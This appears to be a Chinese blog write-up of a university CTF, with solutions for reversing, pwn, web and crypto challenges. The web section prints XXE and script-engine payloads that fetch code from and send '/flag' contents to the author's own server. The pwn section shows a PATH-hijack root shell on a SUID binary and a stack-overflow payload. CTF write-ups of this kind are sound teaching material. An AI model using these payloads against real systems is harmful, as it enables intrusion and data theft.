
title: "2025科技文化节个人WriteUp" description: "第一次打比赛 好玩" pubDate: "May 1 2025" categories:

- tech tags:
 - CTF
 - WriteUp
-

Reverse

Reverse 部分有些题目赛时的做法比较粗暴 赛后复盘在出题人放出源码后在blog继续更新

signin

```
*( _DWORD *)&s[strlen(s)] = 5526852;
strcpy(&s[strlen(s)], "CTF{");
*( _DWORD *)&s[strlen(s)] = 7746418;
strcpy(&s[strlen(s)], "3R53_");
*( _DWORD *)&s[strlen(s)] = 6235185;
strcpy(&s[strlen(s)], "\\");
strcpy(&s[strlen(s)], "3ry_");
strcpy(&s[strlen(s)], "f(_");
strcpy(&s[strlen(s)], "n&ea");
*( _DWORD *)&s[strlen(s)] = 2193717;
*( _WORD *)&s[strlen(s)] = 125;
```

DUTCTF{r3v3R53_1\$__/3ry_f(_n&ea5y!}断个点就行

tulip

看题目描述就知道是花指令了

赛时:

找到了花指令 `jnz jz Call $+5` 但只处理了一半 想着花指令能骗过IDA骗不过AI 然后拿到了伪代码

TEA直接解就行

```
#include <stdint.h>
#include <iostream>
void decrypt_chunk_modified_xtea(uint32_t v[2], const uint32_t k[4])
{
    uint32_t v0 = v[0], v1 = v[1];
    const uint32_t delta = 0x114514; // The custom delta found
    uint32_t sum = delta * 32;        // Start sum for 32 rounds of decryption

    for (int i = 0; i < 32; ++i)
    { // 32 rounds
        // Undo the update to v1 first
        v1 -= (((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]));

        // Undo the update to v0 second
        v0 -= (((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]));

        sum -= delta; // Decrement sum for decryption
    }
    v[0] = v0;
    v[1] = v1;
}

int main()
{
    // The Key (data1 from sub_5C4F90)
    uint32_t key[4] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11};

    // The Encrypted Data we want to decrypt (key_data from sub_5C4F90 - first 48
    bytes)
    uint32_t encrypted_data[12] = {
        0x329E0EAF, 0x6A398361, // Chunk 0
        0x320B21FA, 0x2200B7F1, // Chunk 1
        0x2E086774, 0x74EAEF36, // Chunk 2
        0xE8EF0A23, 0xAFD4AC64, // Chunk 3
        0x92F93A03, 0xB37A9BFF, // Chunk 4
        0x3CED126C, 0xF5E00531  // Chunk 5
    };

    // Buffer to hold the decrypted flag (48 bytes / 6 chunks)
    uint32_t decrypted_flag[12];
```

```

// Decrypt each 8-byte (2 * uint32_t) chunk
for (int i = 0; i < 6; ++i)
{
    uint32_t chunk[2];
    chunk[0] = encrypted_data[i * 2];
    chunk[1] = encrypted_data[i * 2 + 1];

    decrypt_chunk_modified_xtea(chunk, key);

    decrypted_flag[i * 2] = chunk[0];
    decrypted_flag[i * 2 + 1] = chunk[1];
}

// Print the decrypted flag as characters
char *flag_bytes = (char *)decrypted_flag;
std::cout << "Potential Flag (first 48 bytes): ";
for (int i = 0; i < 48; ++i)
{
    // Only print printable ASCII characters, represent others as '.'
    if (flag_bytes[i] >= 32 && flag_bytes[i] <= 126)
    {
        std::cout << flag_bytes[i];
    }
    else
    {
        std::cout << '.'; // Use '.' for non-printable bytes
    }
}
std::cout << std::endl;

return 0;
}

```

MAZE

经典迷宫DP

赛时:

```
output > ≡ map.txt
```

[illegible]

实在找不对种子，直接把地图搞下来了

```
import sys

# 设置一个表示负无穷的值，用于不可达状态和比较
NEG_INF = -1e18 # 使用一个足够小的数

def solve():
    # --- 读取地图数据 ---
    try:
        with open("output/map.txt", "r") as f:
            # 读取地图大小 (如果 C++ 代码写入了的话)
            # MAZE_HEIGHT, MAZE_WIDTH = map(int, f.readline().split()) # 可选
            map_lines = f.readlines()
    except FileNotFoundError:
        print("Error: map.txt not found. Please run the C++ map generator first.")
        sys.exit(1)

    # --- 解析地图数据 ---
    # 我们假设地图 Y 范围是 1 到 50, X 范围是 1 到 60
    MAZE_HEIGHT = 50
    MAZE_WIDTH = 60
    maze_data = [[0] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
    for y idx, line in enumerate(map_lines):
```

```

y = y_idx + 1 # 行号对应 y 坐标 (1 到 50)
if y > MAZE_HEIGHT:
    break
values = list(map(int, line.split()))
for x_idx, val in enumerate(values):
    x = x_idx + 1 # 列号对应 x 坐标 (1 到 60)
    if x > MAZE_WIDTH:
        break
    maze_data[y][x] = val

# --- 动态规划 ---
# dp[y][x]: 到达 (x, y) 的最大分数
# prev_move[y][x]: 到达 (x, y) 的最优路径的上一步 ('A', 'B', 'C')
# 维度: y 从 0 到 50, x 从 0 到 60 (使用 0 作为边界/哨兵)
dp = [[NEG_INF] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
prev_move = [[''] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]

# 初始状态
initial_score = 0 # 我们确定的初始分数
dp[1][1] = initial_score

# 迭代计算 DP
# y 代表当前步数所在的行 (从 2 到 50)
for y in range(2, MAZE_HEIGHT + 1):
    # x 代表当前步数到达的列
    for x in range(1, MAZE_WIDTH + 1): # x 从 1 开始
        current_cell_value = maze_data[y][x]
        best_prev_score = NEG_INF
        move = ''

        # 检查从上方 'C' (x, y-1) 转移
        if x >= 1 and dp[y-1][x] > NEG_INF:
            score = dp[y-1][x]
            if score > best_prev_score:
                best_prev_score = score
                move = 'C'

        # 检查从左上方 'B' (x-1, y-1) 转移
        if x - 1 >= 1 and dp[y-1][x-1] > NEG_INF:
            score = dp[y-1][x-1]
            if score > best_prev_score:
                best_prev_score = score
                move = 'B'

        # 检查从右上方 'A' (x+1, y-1) 转移
        if x + 1 <= MAZE_WIDTH and dp[y-1][x+1] > NEG_INF:
            score = dp[y-1][x+1]
            if score > best_prev_score:
                best_prev_score = score
                move = 'A'

        # 如果存在有效的上一步, 更新 dp 表和 prev_move 表
        if move: # 等价于 best_prev_score > NEG_INF
            dp[y][x] = best_prev_score + current_cell_value
            prev_move[y][x] = move

# --- 找到最大分数和终点 ---

```

```

final_y = MAZE_HEIGHT
max_score = NEG_INF
final_x = -1

for x in range(1, MAZE_WIDTH + 1):
    if dp[final_y][x] > max_score:
        max_score = dp[final_y][x]
        final_x = x

if final_x == -1:
    print("Error: Could not find a valid path to the end.")
    sys.exit(1)

print(f"Maximum score found: {max_score}")
print(f"Ending position: (x={final_x}, y={final_y})")

# --- 回溯路径 ---
path = []
curr_x = final_x
curr_y = final_y

# 总共 49 步, 对应 y 从 50 回溯到 2
for y in range(curr_y, 1, -1):
    move = prev_move[y][curr_x]
    path.append(move)
    # 根据 move 更新上一步的 x 坐标
    if move == 'A':
        curr_x += 1
    elif move == 'B':
        curr_x -= 1
    # elif move == 'C': # x 不变
    #     pass

# 路径是反的, 需要逆序
path.reverse()
final_path = "".join(path)


# --- 输出结果 ---
print(f"Path length: {len(final_path)}")
print(f"Path: {final_path}")
print(f"Flag format: DUTCTF{{{final_path}}}") # 假设 Flag 格式

if __name__ == "__main__":
    solve()

```


WoAiShiinaMahiru

};



D{m2uD!UFW0E_oDT_u5}TT3c_02_CfTrC1TsTE一眼乱序，栅栏密码解密后得到
DUTCTF{W31c0mE_TO_2o2s_DuTCTf_DuTEr5!}

特定低手



发现桥上有字



调用语言模型无脑开启联网搜索

地上写着 バス専用

7:30 - 9:00 Overpass有个明治通り (Meiji Dōri)

豊島区目白三丁目 (Toshima-ku Mejiro San-chōme)给我具体经纬度

google街景

邮编数字部分 1710032

Terminal

```
test@046413259f36:~$ find / -type f \( -perm -4000 -o -perm -2000 \) -ls
2>/dev/null
 4599371      40 -rwxr-sr-x   1 root      shadow      39160 Sep 22  2023
/usr/sbin/unix_chkpwd
 4603694      52 -rwsr-xr--   1 root      messagebus  51272 Sep 16  2023
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
 4603899     640 -rwsr-xr-x   1 root      root        653888 Feb 14 21:06
/usr/lib/openssh/ssh-keysign
 4597709      64 -rwsr-xr-x   1 root      root        62672 Mar 23  2023
/usr/bin/chfn
 4597715      52 -rwsr-xr-x   1 root      root        52880 Mar 23  2023
/usr/bin/chsh
 4597706      80 -rwxr-sr-x   1 root      shadow      80376 Mar 23  2023
/usr/bin/chage
```

```


4597926      36 -rwsr-xr-x   1 root    root          35128 Nov 22 04:01
/usr/bin/umount
4597850      68 -rwsr-xr-x   1 root    root          68248 Mar 23 2023
/usr/bin/passwd
4597776      88 -rwsr-xr-x   1 root    root          88496 Mar 23 2023
/usr/bin/gpasswd
4597834      60 -rwsr-xr-x   1 root    root          59704 Nov 22 04:01
/usr/bin/mount
4597902      72 -rwsr-xr-x   1 root    root          72000 Nov 22 04:01
/usr/bin/su
4597839      48 -rwsr-xr-x   1 root    root          48896 Mar 23 2023
/usr/bin/newgrp
4597760      32 -rwxr-sr-x   1 root    shadow        31184 Mar 23 2023
/usr/bin/expiry
4602046     476 -rwxr-sr-x   1 root    _ssh          485760 Feb 14 21:06
/usr/bin/ssh-agent
4609046      16 -rwsr-xr-x   1 root    root          16064 Feb 28 15:46
/tmp/whatisthis
test@046413259f36:~$ /tmp/whatisthis
  PID TTY          TIME CMD
    23 pts/0    00:00:00 whatisthis
    24 pts/0    00:00:00 sh
    25 pts/0    00:00:00 ps
test@046413259f36:~$ echo '/bin/sh' > ~/ps
test@046413259f36:~$ chmod +x ~/ps
test@046413259f36:~$ export PATH=~:$PATH
test@046413259f36:~$ /tmp/whatisthis

```

`/tmp/whatisthis -> whatisthis` 程序内部启动 `sh -> sh` 执行 `ps` 命令 -> `ps` 输出进程列表

路径劫持直接提权

我是少女乐队高手



两个音轨 相同记为 0 不同记为 1

midi2csv 转换后提取出

```
a =
"0001010010010001100101011001010101010100010011000101010010010001110110010100110010
00110001001100010110001101111010010001100110101001011000001100100111011101110111011
00100011010100100111000111001"
len(a) == 194
```

多两位 把前两个丢了

Recipe

From Binary

DelimiterSpaceByte Length8

From Base64

AlphabetA-Za-z0-9+/=Remove non-alphabet chars

Strict mode

Input

010100100100011001010110010101010101010100010011000101010010011101100101001100010011000101100010111010010001100110100100011001101001011000001100100111011101110111011011001000110011010010110000011001001110111011101110111011000111001

Output

DUTCTF{mus1c_10v3}

pwn

minesweeper

No canary found 栈溢出

```
__int64 read_int(void)
{
    unsigned int buf; // [rsp+Ch] [rbp-4h] BYREF

    read(0, &buf, 0x10uLL);
    return buf;
}
```

win(void)	.text	000000000000222F	00000030	00000008
.	.	.	B T	.

```
payload = b'A'*12 + b'F'
print(f"[*] Sending payload ({len(payload)} bytes): {payload}")
io.send(payload) # Use send() for read(), not sendline()
print("[+] Payload sent.")
io.interactive()
```

/bin/sh 提权

kernel_master

解压一下就拿到了 flag{test}

本题不会做 纯误判

Web

Real_E2_J5!

```
curl -X POST http://210.30.97.133:10079/validate \
-H "Content-Type: application/json" \
```

```
-d '{"key": "adminSecret", "value": "adminSecret", "adminSecret": "hack"}'
```

```
curl http://210.30.97.133:10079/admin?secret=hack
```

逻辑漏洞 覆盖 `adminSecret`

Editor

```
{
  "name": "javascript",
  "script": "var a=new
java.beans.Customizer{setObject:load};a.object=\"http://my_server:8000/payload.js\"
"
}
```

写到这里突然发现服务器 `8000` 端口当时做完忘了关 被扫爆了

求求佬帮看看有没有敏感数据 整个用户文件夹全被扫了

langqi99.com/data.log

Real_upload?

跟上面类似的

```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://my_server:8001/?data=%file;'>">
%all;
```

```
cat << EOF > name.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "http://my_server:8000/evil.dtd">
  %dtd;
]>
<data>&send;</data>
EOF
```

```
curl -X POST -F 'file=@name.xml;filename="../../../../../../../tmp/name.xml"'
http://210.30.97.133:10176/upload
```

```
curl http://210.30.97.133:10176/hello
```

Crypto

Signin

```
import gmpy2 # Using gmpy2 for efficient modular inverse calculation
import math

# Given values from the CTF challenge
c =
52354976201766669118320630176887314071011255313891475177309220942626308982212207656
43454488295915596353532267195087858382652416817894440957993883979996426315686960743
03427331031921618874768316550386756863551589260503297827141670021886895562067535940
11414672752687969286190800625479272347359078146861058813575
e = 65537
n =
12869563192024275058968655682157528536307733871689459815050585392298873145873023570
29027514961670970550810155918315361268395478574239879075904073135644565191854482216
25668476322936885010691918434072938135430858464606477495727174799865802582744611435
244880867181739290162314813391707310015481379681575178925149

# Step 1: Check if n is prime (optional, but good practice)
# We already confirmed this using external tools/information
# For a programmatic check (can be slow for large n):
# if not gmpy2.is_prime(n):
#     print("Error: n is not prime, but the challenge implies it is.")
#     exit()
# else:
#     print("Confirmed: n is prime.")

# Step 2: Calculate Euler's totient function for a prime n, which is  $\phi(n) = n - 1$ 
phi_n = n - 1
print(f"Since n is prime,  $\phi(n) = n - 1 = \{phi\_n\}$ ")

# Step 3: Calculate the private exponent d, which is the modular multiplicative
inverse of e modulo  $\phi(n)$ 
#  $d * e \equiv 1 \pmod{\phi(n)}$ 
try:
    # Ensure e and phi_n are coprime
    if gmpy2.gcd(e, phi_n) != 1:
        print(f"Error: e ({e}) and phi_n ({phi_n}) are not coprime. gcd = {gmpy2.gcd(e, phi_n)}")
        print("Decryption is not possible with this e.")
    else:
        d = gmpy2.invert(e, phi_n)
        print(f"Calculated private exponent d = {d}")
```



```

# Step 4: Decrypt the ciphertext c to get the plaintext message m
# m = c^d mod n
# Use the built-in pow(base, exponent, modulus) for efficiency
m_int = pow(c, d, n)
print(f"Decrypted integer m = {m_int}\n")

# Step 5: Convert the resulting integer m into bytes, then decode into a
string
# The number of bytes needed is ceil(log2(m) / 8)
# or more simply (m.bit_length() + 7) // 8
byte_length = (m_int.bit_length() + 7) // 8
m_bytes = m_int.to_bytes(byte_length, 'big') # 'big' means most significant
byte first

print(f"Decrypted bytes = {m_bytes}\n")

# Try decoding the bytes as UTF-8 (common for flags) or ASCII
try:
    m_str = m_bytes.decode('utf-8')
    print(f"Decrypted string (UTF-8): {m_str}")
except UnicodeDecodeError:
    try:
        m_str = m_bytes.decode('ascii')
        print(f"Decrypted string (ASCII): {m_str}")
    except UnicodeDecodeError as e:
        print(f"Could not decode bytes into a readable string: {e}")
        print("The result might be raw bytes or require different
decoding.")

except ValueError:
    # This specific error might not be reachable if gcd check is done first,
    # but kept for robustness. gmpy2.invert raises ZeroDivisionError if modulus is
    1 or less.
    print(f"Error calculating modular inverse. Is phi_n valid?")

```

Where is p&q

```

import math
from Crypto.Util.number import long_to_bytes

# --- 从问题描述中获取的已知值 ---
N =
70043427687738872803871163276488213173780425282753969243938124727004843810522473265
06693734444089971256931672094514587358406486081016186548525181659743283666698713493
87605066577821439834316214811900090084917252073217417259797913935661559900054043287
75785526238494554357279069151540867533082875900530405903003
enc_flag =
20797621445779853622774031988797057713071576485981176620438476287691431211827108973
7111885655312316249082508168296060433905067485195584524517576782949904869719088064
91383512689103806743436850583566461953981073431840046618865690029832868081688528109
44626906687603677922754297685190621595441100414259760595685

```

```

a =
83691951636784568894161214674764806742886218671825728245706605960557394109036864663
34448920102666056798356927389728982948229326705483052970212882852055482
b =
25500181489306553053743739056022091355379036380919737553326529889338409847082228856
006303427136881468093863020843230477979
c =
83691951636784568894161214623086861525248059842093124553082296890347897101171018595
97220211456125364647704791637845189120538925088375209397006380815921158
d =
31448594528370020763962343185054872105044827103889010592635556324009793301024988530
934510929565983517651356856506719032859

# --- 步骤 1: 计算公共指数 e ---
#  $N = a^2 + e \cdot b^2 \Rightarrow e = (N - a^2) / b^2$ 
#  $N = c^2 + e \cdot d^2 \Rightarrow e = (N - c^2) / d^2$ 
e1 = (N - a*a) // (b*b)
e2 = (N - c*c) // (d*d)

# 验证两个方程计算出的 e 是否相同
assert e1 == e2
e = e1
print(f"[+] 计算得到公共指数 e = {e}")
print(f"    e 的比特长度: {e.bit_length()}")

# --- 步骤 2: 使用 Brillhart 方法分解 N ---
# 基于  $N = a^2 + eb^2 = c^2 + ed^2$ 
# 计算  $k = ad - bc$ 
# 计算  $g = \gcd(N, k)$ 。如果  $1 < g < N$ ，则  $g$  是  $N$  的一个因子
k = a*d - b*c
print(f"[+] 计算  $k = ad - bc = {k}$ ")

# 使用 math.gcd 计算最大公约数
g = math.gcd(N, k)
print(f"[+] 计算  $g = \gcd(N, k) = {g}$ ")

# 检查 g 是否是一个非平凡因子
if 1 < g < N:
    p = g
    q = N // g
    print(f"[+] 成功找到因子:")
    print(f"    p = {p}")
    print(f"    q = {q}")
    # 验证 p * q 是否等于 N
    assert p * q == N
else:
    # 如果  $\gcd(N, ad-bc)$  失败，可以尝试  $\gcd(N, ac+ebd)$ 
    # 但在这个问题中，通常  $\gcd(N, ad-bc)$  会成功
    print(f"[-] 使用  $\gcd(N, ad-bc)$  分解失败，可以尝试其他方法（例如  $\gcd(N, ac+ebd)$ ），但在此省略。")
    exit() # 如果分解失败则退出

# --- 步骤 3: 计算 RSA 私钥 ---
# 计算欧拉函数  $\phi(N) = (p-1) \cdot (q-1)$ 
phi = (p - 1) * (q - 1)

```

```

print(f"[+] 计算 phi(N) = {phi}")

# 计算私钥 d_priv, 它是 e 模 phi(N) 的乘法逆元
# d_priv = e^(-1) mod phi
d_priv = pow(e, -1, phi)
print(f"[+] 计算得到私钥 d_priv = {d_priv}")

# --- 步骤 4: 解密消息 ---
# m = enc_flag ^ d_priv mod N
m = pow(enc_flag, d_priv, N)
print(f"[+] 解密得到消息整数 m = {m}")

# --- 步骤 5: 将消息整数转换回字节 ---
flag = long_to_bytes(m)
print(f"[+] 将 m 转换回字节:")

# --- 输出最终的 Flag ---
# 使用 try-except 来处理可能的解码错误 (尽管通常是 utf-8)
try:
    print(f"\n[*] Flag: {flag.decode('utf-8')}")
except UnicodeDecodeError:
    print(f"\n[*] Flag (字节形式): {flag}")

```

stream&block

```

#!/usr/bin/env python3
from pwn import *
import sys

# Define the action function locally for checking
def action(msg):
    r = 0
    for b in msg:
        r ^= b
    return r

# --- Connection Details ---
HOST = "210.30.97.133"
PORT = 10003

# Set context for architecture, os, etc. (optional but good practice)
context.log_level = 'info' # Set to 'debug' for more verbose output

# Connect to the server
try:
    conn = remote(HOST, PORT)
except PwnlibException as e:
    log.error(f"Failed to connect to {HOST}:{PORT} - {e}")
    sys.exit(1)

```

```

# Read the initial banner
try:
    conn.recvuntil(b' > ')
except EOFError:
    log.error("Connection closed immediately after connect.")
    sys.exit(1)

log.info("Starting probe...")
good_ops = []

for op in range(256):
    # Construct probe P
    # If op is 0, use all null bytes. Otherwise, use byte(op) followed by null
    bytes.
    p_bytes = bytes([op]) + b'\x00' * 15 if op != 0 else b'\x00' * 16
    p_hex = p_bytes.hex()

    log.debug(f"Testing op={op}, P_hex={p_hex}")

    try:
        # Send choice 1 (Encrypt)
        conn.sendline(b'1')
        # Send plaintext hex
        conn.sendlineafter(b'input your plaintext(hex) > ', p_hex.encode())
        # Receive response
        response_line = conn.recvline().decode().strip()
        log.debug(f"Raw response for op={op}: {response_line}")

        # Parse ciphertext hex
        if response_line.startswith("encrypted ciphertext: "):
            c_hex = response_line.split("encrypted ciphertext: ")[1]
            c_bytes = bytes.fromhex(c_hex)

            # Check action
            act_c = action(c_bytes)
            log.debug(f"op={op}, action(P)={op}, action(C)={act_c}")
            if act_c == op:
                log.success(f"*** Found good op: {op} ***")
                good_ops.append(op)
            else:
                log.warning(f"Unexpected response format for op={op}: {response_line}")

        # Ready for the next command
        conn.recvuntil(b' > ')

    except EOFError:
        log.error("Connection closed unexpectedly during loop.")
        sys.exit(1)
    except ValueError as e:
        log.error(f"Hex decoding error for op={op}, response: {response_line} - {e}")

    # Try to recover by reading until the next prompt
    try:
        conn.recvuntil(b' > ')
    except EOFError:

```

```

        log.error("Connection closed while trying to recover from hex error.")
        sys.exit(1)
except Exception as e:
    log.error(f"An error occurred for op={op}: {e}")
    # Try to recover
    try:
        conn.recvuntil(b' > ')
    except EOFError:
        log.error("Connection closed while trying to recover from general
error.")
        sys.exit(1)

log.info(f"Finished probing. Good ops found: {good_ops}")

if not good_ops:
    log.error("No suitable op found. Cannot proceed.")
else:
    # Choose the first good op found
    chosen_op = good_ops[0]
    log.info(f"Using op = {chosen_op} for the magic text.")

    # Construct the magic block based on the chosen op
    p_good_bytes = bytes([chosen_op]) + b'\x00' * 15 if chosen_op != 0 else b'\x00'
* 16

    # Construct the final message (4 blocks = 64 bytes >= 50 bytes required)
    magic_msg_bytes = p_good_bytes * 4
    magic_msg_hex = magic_msg_bytes.hex()

    log.info(f"Constructed magic message (hex): {magic_msg_hex}")

    try:
        # Send choice 3 (Verify)
        conn.sendline(b'3')
        log.info("Sent choice 3 (Verify)")

        # Send the magic message hex
        conn.sendlineafter(b'input your text(hex) > ', magic_msg_hex.encode())
        log.info("Sent magic text")

        # Receive the final response (hopefully the flag)
        final_response = conn.recvall(timeout=3).decode() # Adjust timeout if
needed
        log.success("Received final response:")
        print("\n" + "="*20 + " FINAL SERVER RESPONSE " + "="*20)
        print(final_response)
        print("="*61)

    except EOFError:
        log.error("Connection closed before receiving the final response.")
    except Exception as e:
        log.error(f"An error occurred during verification: {e}")

# Close the connection (pwntools usually handles this, but explicit is fine)
conn.close()
log.info("Connection closed.")

```

signature2

```
#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import inverse, long_to_bytes, GCD

# Connection details from the challenge description
HOST = "210.30.97.133"
PORT = 10095

# Start connection
log.info(f"Connecting to {HOST}:{PORT}")
conn = remote(HOST, PORT)

# Receive public key
conn.recvuntil(b"This is your Public key: (")
p_str = conn.recvuntil(b", ", drop=True)
g_str = conn.recvuntil(b", ", drop=True)
y_str = conn.recvuntil(b")", drop=True)

p = int(p_str)
g = int(g_str)
y = int(y_str)

log.success(f"Received Public Key:")
log.info(f"  p = {p}")
log.info(f"  g = {g}")
log.info(f"  y = {y}")

# Send a dummy message (its signature will be ignored)
conn.recvuntil(b"Please tell me what you want to sign:\n> ")
dummy_msg = b"initial_message"
conn.sendline(dummy_msg)
log.info(f"Sent dummy message: {dummy_msg}")

# Receive the dummy signature (and ignore it)
conn.recvuntil(b"Your signature is: (")
conn.recvuntil(b)") # Consume the signature line
log.info("Received and ignored dummy signature.")

# --- Perform Existential Forgery ---
log.info("Calculating forged signature...")
u = 1
v = 1
p_minus_1 = p - 1

# Ensure v is coprime to p-1 (v=1 is always coprime)
assert GCD(v, p_minus_1) == 1, "v must be coprime to p-1"

# 1. Calculate r' = (g^u * y^v) % p
r_prime = (pow(g, u, p) * pow(y, v, p)) % p
```

```

# 2. Calculate  $s' = (-r' \cdot \text{inverse}(v, p-1)) \% (p-1)$ 
try:
    v_inv = inverse(v, p_minus_1)
except ValueError:
    log.error(f"Inverse of  $v=\{v\} \bmod p-1=\{p\_minus\_1\}$  does not exist!")
    conn.close()
    exit()

# Need to compute  $-r' \bmod (p-1)$ . Ensure  $r'$  is reduced if needed, though result of
# pow gives  $0 \leq r' < p$ .
# The modulo operation requires the argument to be non-negative sometimes depending
# on language/library.
#  $(-r\_prime \cdot v\_inv) \% p\_minus\_1$  handles this correctly in Python.
s_prime = (-r_prime * v_inv) % p_minus_1

# 3. Calculate  $m' = (s' \cdot u) \% (p-1)$ 
m_prime = (s_prime * u) % p_minus_1

log.success("Calculated Forged Signature Components:")
log.info(f"  m' = {m_prime}")
log.info(f"  r' = {r_prime}")
log.info(f"  s' = {s_prime}")

# Sanity check: verify locally (optional)
lhs = pow(g, m_prime, p)
rhs = (pow(y, r_prime, p) * pow(r_prime, s_prime, p)) % p
if lhs == rhs:
    log.info("Local verification successful!")
else:
    log.warning("Local verification failed! Something might be wrong.")
    # continue anyway, maybe a calculation nuance

# Check if the forged message  $m'$  would convert to the same bytes as the dummy
# message
try:
    m_prime_bytes = long_to_bytes(m_prime)
    if m_prime_bytes == dummy_msg:
        log.error("Forged message  $m'$  is the same as the initial dummy message!")
        log.error("Attack will fail. Try different u, v or dummy_msg.")
        conn.close()
        exit()
except ValueError:
    # If  $m\_prime$  is 0, long_to_bytes might give empty bytes b''
    if m_prime == 0 and dummy_msg == b'':
        log.error("Forged message  $m'=0$  might conflict with empty dummy message!")
        # Handle this case if needed, but unlikely with non-empty dummy_msg
    # Otherwise, it's fine,  $m'=0 \rightarrow b''$  is different from non-empty dummy_msg
    pass

# Send the forged message and signature
log.info("Sending forged message and signature...")
conn.recvuntil(b"m: ")
conn.sendline(str(m_prime).encode())
log.info(f"Sent m': {m_prime}")

conn.recvuntil(b"r: ")

```

```

conn.sendline(str(r_prime).encode())
log.info(f"Sent r': {r_prime}")

conn.recvuntil(b"s: ")
conn.sendline(str(s_prime).encode())
log.info(f"Sent s': {s_prime}")

# Receive the flag or error message
log.info("Waiting for response...")
response = conn.recvall(timeout=5)

log.success("Received response:")
print(response.decode())

conn.close()
log.info("Connection closed.")

```

signature1

```

import pwn
from Crypto.Util.number import bytes_to_long, long_to_bytes

# Connection details (replace if different)
# From your screenshot:
HOST = '210.30.97.133'
PORT = 10049

try:
    # Establish connection
    conn = pwn.remote(HOST, PORT)
    pwn.context.log_level = 'info' # Show interaction logs

    # 1. Receive public key
    conn.recvuntil(b'This is your public key:\n')
    pubkey_str = conn.recvline().strip().decode()
    # Handle potential extra characters if any
    pubkey_str = pubkey_str.strip('()')
    p, g, y = map(int, pubkey_str.split(', '))
    conn.info(f"Received p = {p}")
    conn.info(f"Received g = {g}")
    conn.info(f"Received y = {y}")

    # 2. Define Target
    target_message = b'DUTCTF'
    m_target = bytes_to_long(target_message)
    conn.info(f"Target m = {m_target}")

    # 3. Craft Alternative Message
    p_minus_1 = p - 1
    m_prime = m_target + p_minus_1
    msg_prime_bytes = long_to_bytes(m_prime)
    conn.info(f"Crafted m' = {m_prime}")

```



```

# Note: msg_prime_bytes might be very large

# 4. Request Signature for the alternative message
conn.recvuntil(b'Please tell me what you want to sign?\n> ')
conn.info(f"Sending alternative message bytes (length {len(msg_prime_bytes)})
to sign...")
conn.sendline(msg_prime_bytes)

# Receive the signature (r, s) for msg_prime
conn.recvuntil(b'This is your signature:\n')
r_line = conn.recvline().strip().decode()
s_line = conn.recvline().strip().decode()

# Extract r and s carefully
try:
    r = int(r_line.split('=')[1])
    s = int(s_line.split('=')[1])
    conn.info(f"Received r = {r}")
    conn.info(f"Received s = {s}")
except (IndexError, ValueError) as e:
    conn.error(f"Failed to parse signature: r='{r_line}', s='{s_line}'")
    conn.close()
    exit()

# 5. Submit Signature for the original target message
conn.recvuntil(b"If you want to get the flag. Please tell me your signature\n>
")
conn.info(f"Sending r = {r}")
conn.sendline(str(r).encode())
conn.recvuntil(b'> ') # Prompt for s
conn.info(f"Sending s = {s}")
conn.sendline(str(s).encode())

# 6. Receive the result (hopefully the flag)
conn.info("Waiting for flag...")
# Use recvall to get all remaining output
result = conn.recvall(timeout=5) # Adjust timeout if needed
conn.success(f"Result: {result.decode()}")

# Close connection
conn.close()

except Exception as e:
    pwn.context.log_level = 'error'
    conn.error(f"An error occurred: {e}")
    if 'conn' in locals() and conn:
        conn.close()

```

MetamikuMatrixMaster

```

# Define p and c_list (ensure full c list is used)
p = 94951668914836210059795315483536443488933021611300220555898947046010704751659

```

```
c_list = [
    8035334017032303676884495695093849049591116586402215453176893169647528573473,
    59633132506897001337475181076769716084659260056174745705282228861660454585844,
    28162843329479433477265065446992147859471233196414186246357440403309160334499,
    4299109678466131600343618060605648056113232607349218027650135505549407963910,
    4087741063724374061725013462278085730705718667489149938923893312651486614669,
    73854298568255274991238074779725329201544960932611944103367706659761710498656,
    71229461213142919346904865844975917255119439992501630368712083457562572987703,
    16114686718014289723082144014633157871938855520267677347584656837586670455351,
    33815553137609375986764941536846486955311356747431282265813722199746367730735,
    83230726604103337485693252608736987952116487439584868153421572585765208737752,
    43354624060867962612688844511954799809306957508254538657246407957691125473891,
    55101837278890697174045987723057079542992530782626626822696566148569826190699,
    62604177849321207690994918211253550152229643480313270600641056287690505746500,
    55392545954254989540181949652718594327551409387597584348155637070136573822824,
    28077377409202524772685778716251907003804101264114658216348829339456013295161,
    21334443181285981988980698630756886134980141537264094330711028083765063415519,
    86527877688353267156038544409564951171579421083230184768315012173819906199896,
    65794756895324638675873258762812358451842848189145910550661817702224116966369,
    22957500705937080580790222196044227350593392941014901984708370379340604555411,
    5597766885664502413144853336297159131177754737530642324233093247568745687864,
    93062235767859648250412725812749448881541642649971084665181528969581777561465,
    30474926227967272254439075001191161577976221357861668422513122909667896147233,
    60775836432659248756300048642443361744048616393839129752849968709547592033670,
    71214544835243381339076088571162567904668832029672120026798494828609569503119,
    1174815806395901492096195189104319047839644470732310954592448712895225126130,
    25608109273384978479485966037827618297462947734861101290796152980521502852654,
    84310874165903335358606830377169502406570533488803476591113974411344926639939,
    24825972828150211947708356276934254637682047694949045115854000286055596575358,
    77671717686612226841883804936168777380412228821522967173353349296517170636360,
    69846508771180325151756459684876846450893191201713121999727511653375604855218,
    8987813778406417907094761426890842138014909328197870288562454428726660271907,
    30440204987717603713083763738703598556857003088625013718943318268794375542978,
    19521407840482588407487908680073693029442255108207197779397873576957114219574,
    53017306130976718162852673259699032134557815647762813929925333742376644678749,
    15774515989940084946089586257040469965291992992385643947928102390855958180000
]
```

```
# Ensure c is a SageMath vector
```

```
c = vector(Zmod(p), c_list)
```

```
n = len(c)
```

```
# Convert c components to SageMath integer type ZZ
```

```
c_int = [ZZ(x) for x in c]
```

```
# Construct the lattice basis matrix M
```

```
M = Matrix(ZZ, n + 1, n)
```

```
for i in range(n):
```

```
    M[i, i] = p
```

```
for i in range(n):
```

```
    M[n, i] = c_int[i]
```

```
print("Matrix M constructed. Running LLL...")
```

```
# Run LLL
```

```
B = M.LLL()
```

```
print("LLL computation finished.")
```

```

# print("Reduced Basis B (first few rows):") # Optional: print basis if needed
# print(B.nrows())
